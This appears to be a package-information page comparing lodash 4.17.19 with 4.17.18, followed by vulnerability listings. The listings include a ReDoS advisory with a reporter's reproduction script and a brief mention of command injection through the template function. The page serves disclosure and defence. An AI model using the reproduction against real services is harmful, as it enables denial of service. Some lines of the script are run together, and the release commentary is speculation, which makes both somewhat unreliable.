Lodash version 4.17.19 represents a subtle but potentially impactful update to this ubiquitous JavaScript utility library, building upon the solid foundation of version 4.17.18. While the core mission – providing modular, performant, and browser-compatible JavaScript tools – remains unchanged, developers should take note of the tweaks present in the newer release.
One immediately visible change is the increase in the unpacked size, growing from approximately 1.27 MB in 4.17.18 to roughly 1.4 MB in 4.17.19. This suggests the addition of new features, enhanced documentation, or potentially more comprehensive test coverage. Furthermore, the file count slightly increases, also hinting some adjustments to the internal structure and organization of the project.
The release dates of both versions are very close together, separated by just over an hour. This suggests that the update from version 4.17.18 to 4.17.19 was potentially addressing a bug or making small refinements that the Lodash team considered important to release quickly, rather than significant functional changes. Developers upgrading should review the official changelog for specific information on the exact nature of these alterations, looking for bug fixes or performance enhancements that might directly benefit their projects. Even if not obviously apparent, small packages upgrades like this can represent important maintenance for keeping modern Javascript projects stable.
All the vulnerabilities related to the version 4.17.19 of the package
Regular Expression Denial of Service (ReDoS) in lodash
All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.
Steps to reproduce (provided by reporter Liyuan Chen):
var lo = require('lodash');
function build_blank(n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "1";
}
var s = build_blank(50000) var time0 = Date.now();
lo.trim(s)
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0);
var time1 = Date.now();
lo.toNumber(s) var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1);
var time2 = Date.now();
lo.trimEnd(s);
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2);
Command Injection in lodash
lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.